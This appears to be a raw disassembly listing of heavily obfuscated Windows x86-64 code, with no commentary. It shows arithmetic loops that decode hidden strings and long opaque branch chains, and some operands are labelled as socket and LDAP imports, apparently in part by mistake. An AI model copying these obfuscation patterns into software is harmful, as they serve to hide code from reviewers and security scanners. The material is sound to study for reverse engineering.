movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f080
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
add rbx, r8
jmp 0x14008f025
movzx r11d, r10b
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ef69
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
dec r10
inc r10
jmp 0x14008e723
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x14008e723
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008efc6
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14008ec92
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
jmp 0x14008eae6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ecc5
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008eced
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f058
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008ed15
movzx r11d, r10b
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x14008ef69
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008eae6
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008e723
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ed6f
movzx r11d, r10b
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
jmp 0x14008efc6
cmp rbx, rcx
jne 0x14008ed95
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x65
dec r10
inc r10
jmp 0x14008e723
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008edb9
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
jmp 0x14008f058
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008eb17
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ee23
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008ee4b
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f058
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ee6f
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x14008f025
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008eb4b
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008f025
mov byte [rbp + r10 - 0x30], dil
inc r10
jmp 0x14008e723
movzx r11d, r10b
lea edx, [r11 - 0x18]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 - 0x30]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r9b
jmp 0x14008ef69
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008f058
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xd
jmp 0x14008f080
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
jmp 0x14008f025
movzx r11d, r10b
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
add r11b, 0x39
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x71
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 - 0x30], r9b
add rbx, r8
jmp 0x14008f025
movzx r11d, r10b
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xf
jmp 0x14008efc6
movzx r11d, r10b
lea ecx, [r11 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
sub r11b, 0x69
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x21
add r9b, r11b
mov byte [rbp + r10 - 0x30], r9b
inc r8
dec r10
inc r10
jmp 0x14008e723
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
dec r10
inc r10
jmp 0x14008e723
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x11
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008e723
lea rcx, [r10 + r12]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x7f
add dil, cl
lea edx, [r10 - 0x25]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 3
add cl, dl
movzx eax, cl
mov byte [rbp + r10 - 0x30], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x2c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x34
add r9b, cl
mov byte [rbp + r10 - 0x30], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x5b
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
add r10b, 0x15
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x6d
jmp 0x14008e720
add r10b, 0x73
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x25
jmp 0x14008e710
lea rsi, [rbp + 0x14f0e3c]
jmp 0x14008f137
lea rsi, [rbp + 0xa9308d]
jmp 0x14008f137
lea rsi, [rbp - 0x30]
mov dword [rbp + 0x90], 0xb4b5a0b9
mov dword [rbp + 0x94], 0x57bba2a9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x98], xmm0
mov byte [rbp + 0xa8], al
movabs r14, 0x8d72d70747a1a78a
movabs r12, 0xde23e132f56b94c6
movabs r15, 0xa8588515d6e4f69e
movzx edi, byte [rsp + 0x40]
call fcn.14021eaf0
mov rbx, qword [rax]
call fcn.14021eae0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x19
jae 0x14008fb5b
movzx r9d, byte [rbp + r10 + 0x90]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008fb52
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008f1dc
lea rcx, [r10 + r14]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x3a
jmp 0x14008f210
je 0x14008fae1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008fa58
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008fa00
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008f9db
nop dword [rax]
cmp r8, r10
ja 0x14008fb49
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14008f23a
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x14008f280
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008f98d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f968
cmp rbx, rcx
je 0x14008f949
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008f92a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008f90b
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008f6cc
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008f6ad
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008f685
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008f664
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008f641
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008f626
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008f607
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008f5ec
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008f5cd
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008fb2c
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008fb0c
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008f3e4
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008f57d
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008f52d
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008f4ed
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
jb 0x14008f4c3
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008f290
mov rbx, rcx
lea r8, [rcx + 0x42]
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14008f492
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14008f477
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14008f458
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14008f43d
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14008f41e
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14008f3ff
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x14008f290
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x61]
jmp 0x14008f290
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x14008f1a6
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
movzx r11d, r10b
jmp 0x14008fa1a
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fa3c
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14008fa3f
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fa6e
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14008fa9a
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f193
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x90], dil
inc r10
jmp 0x14008f193
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
cmp r8, 0x64
jb 0x14008f4dd
movzx r11d, r10b
lea edx, [r11 - 4]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008f9ab
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x200
jae 0x14008f8c4
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14008f80b
lea edx, [r10 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x14008f503
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
lea rax, [r8 + rbx]
cmp rax, 0x10
je 0x14008f8ef
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14008f771
lea edx, [r10 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
add dil, dl
jmp 0x14008f547
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fa9a
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x14008fa6e
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fa3f
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14008fa3c
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fa1a
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
dec r10
inc r10
jmp 0x14008f193
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008f193
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
movzx r11d, r10b
jmp 0x14008f9ab
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14008f6f4
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f593
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f72a
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f193
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f752
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fa6e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f593
movzx r11d, r10b
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x14008f99a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f78c
movzx r11d, r10b
lea edx, [r11 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x14008f99a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f7ba
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008f193
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008f7df
lea ecx, [r10 + 0x5a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x76
jmp 0x14008fa3f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f547
lea edx, [r10 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008fa9a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f845
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f193
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f86d
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008fa9a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f895
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x14008fa6e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008f503
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
dec r10
inc r10
jmp 0x14008f193
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x90]
sub dil, al
sub dil, 0x70
add dil, r9b
add dil, dl
jmp 0x14008fa1a
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008fa6e
lea edx, [r10 - 0xe]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008fa9a
lea edx, [r10 - 0x22]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x12
add dil, dl
jmp 0x14008fa6e
lea edx, [r10 - 0x36]
movzx eax, r9b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008fa3f
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008f193
movzx r11d, r10b
lea edx, [r11 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 0x7a
movzx eax, r9b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x90], cl
inc r8
dec r10
inc r10
jmp 0x14008f193
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008f193
movzx r11d, r10b
lea ecx, [r11 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
sub r11b, 0x66
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x36
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x90], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008f193
lea rax, [r10 + r12]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x6a
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x90], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x90], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f193
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x52
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f193
sub r10b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008f190
sub r10b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
jmp 0x14008f180
lea rdx, [rbp + 0x15c9148]
jmp 0x14008fb62
lea rdx, [rbp + 0xfe38d2]
jmp 0x14008fb62
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x6f0]
call fcn.140079b10
mov rbx, rax
xor eax, eax
mov qword [rbp + 0xc0], rax
mov byte [rbp + 0xb8], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1401833dc
lea rcx, [rbp + 0x6e8]
mov qword [rbp + 0x798], rcx
mov qword [rbp + 0x7a0], rax
mov rdx, rsi
mov rcx, rax
call fcn.1400499a0
mov rax, qword [rbp + 0x7a0]
mov qword [rbp + 0x7a0], r13
mov qword [rbp + 0xc0], rax
lea rdx, [rbp + 0xb8]
mov rcx, rbx
call fcn.140081330
movzx ebx, al
movzx edx, byte [rbp + 0xb8]
lea rcx, [rbp + 0xc0]
call fcn.140087a60
nop
test bl, bl
je 0x14008e673
mov dword [rbp - 0x10], 0xada5aeb4
mov dword [rbp - 0xc], 0x4b475250
mov byte [rbp - 8], 0xe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 7], xmm0
mov word [rbp + 9], ax
movabs r14, 0xb837a6a017100afc
movabs r15, 0x79f4dba0cf9062dc
movabs r12, 0x28a6f3e0453020f4
movzx edi, byte [rbp + 0x6e8]
call fcn.14021eaf0
mov rbx, qword [rax]
call fcn.14021eae0
mov rax, qword [rax]
mov r10, r13
cmp r10, 0x1b
jae 0x14009066e
movzx r9d, byte [rbp + r10 - 0x10]
mov r11, r9
nop dword [rax + rax]
cmp rbx, r10
ja 0x140090665
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x14008fc8f
lea rdx, [r10 + r14]
movzx ecx, r11b
and cl, dl
mov edi, reloc.WS2_32.dll_ntohl
sub dil, cl
add dil, dil
add dil, r11b
add dil, dl
jmp 0x14008fcd0
je 0x1400905f0
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400905c0
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x14009057a
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140090559
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x14009050d
nop dword [rax]
cmp rax, r10
ja 0x14009065c
lea rcx, [rax + 0x7a]
cmp rbx, rcx
jae 0x14008fcff
lea r8d, [r10 - 0x54]
movzx ecx, r8b
and cl, r9b
mov edx, Ordinal_41
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14008fd33
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x1400904f1
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400904df
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x1400904bc
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x1400904a1
lea rcx, [rax + rbx]
cmp rcx, r10
jbe 0x140090232
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140090220
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x1400901f7
lea rcx, [rax + 0x41]
cmp rbx, rcx
je 0x1400901d1
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x1400902bc
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x1400901b3
lea rcx, [rax + 0x2a]
cmp rbx, rcx
je 0x140090193
lea rcx, [rax + 0x64]
cmp rbx, rcx
je 0x14009016f
lea rcx, [rax + 0x61]
cmp rbx, rcx
je 0x140090154
lea rcx, [rax + 0x200]
cmp rbx, rcx
je 0x14008fd40
lea rbx, [rax + 0x28]
lea rax, [rbx + 0x41]
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
jb 0x14009063c
lea rcx, [rax + 0x5a]
cmp rbx, rcx
jb 0x14009061f
lea rcx, [rax + 0x42]
cmp rbx, rcx
jb 0x14008ff11
lea rcx, [rax + 0x1000]
cmp rbx, rcx
jb 0x14008fef6
lea rcx, [rax + 0x10]
cmp rbx, rcx
jb 0x14008fed6
lea rcx, [rax + 0x80]
cmp rbx, rcx
jb 0x140090106
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1400900be
lea rcx, [rax + 0x28]
cmp rbx, rcx
jb 0x140090079
lea rcx, [rax + 2]
cmp rbx, rcx
jb 0x140090051
lea rcx, [rax + 9]
cmp rbx, rcx
jb 0x14008fd40
lea rbx, [rax + 3]
lea rax, [rbx + 0x42]
lea rcx, [rax + 0xa]
cmp rbx, rcx
ja 0x140090027
lea rcx, [rax + 0x5a]
cmp rbx, rcx
ja 0x14009000c
lea rcx, [rax + 5]
cmp rbx, rcx
ja 0x14008ffe8
lea rcx, [rax + 0x20]
cmp rbx, rcx
ja 0x14008ffc8
lea rcx, [rax + 1]
cmp rbx, rcx
ja 0x14008ffa7
lea rcx, [rax + 8]
cmp rbx, rcx
ja 0x14008ff88
lea rcx, [rax + 0x7a]
cmp rbx, rcx
ja 0x14008ff67
lea rcx, [rax + 3]
cmp rbx, rcx
ja 0x14008ff3e
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
ja 0x14008ff2c
lea rbx, [rax + 0x400]
lea rax, [rbx + 0x42]
jmp 0x14008fd40
lea r8d, [r10 - 0x2c]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14008fd33
lea edx, [r10 - 0x24]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 4
jmp 0x14008fcd0
lea edx, [r10 - 0x1c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3c
jmp 0x14008fc55
lea r8d, [r10 + 0x60]
mov edx, Ordinal_50
movzx r11d, r10b
jmp 0x14009051a
lea r8d, [r10 + 0x68]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
inc rax
dec r10
inc r10
jmp 0x14008fc45
lea edx, [r10 + 0x70]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x10
dec r10
inc r10
jmp 0x14008fc45
lea edx, [r10 + 0x78]
movzx ecx, dl
and cl, r9b
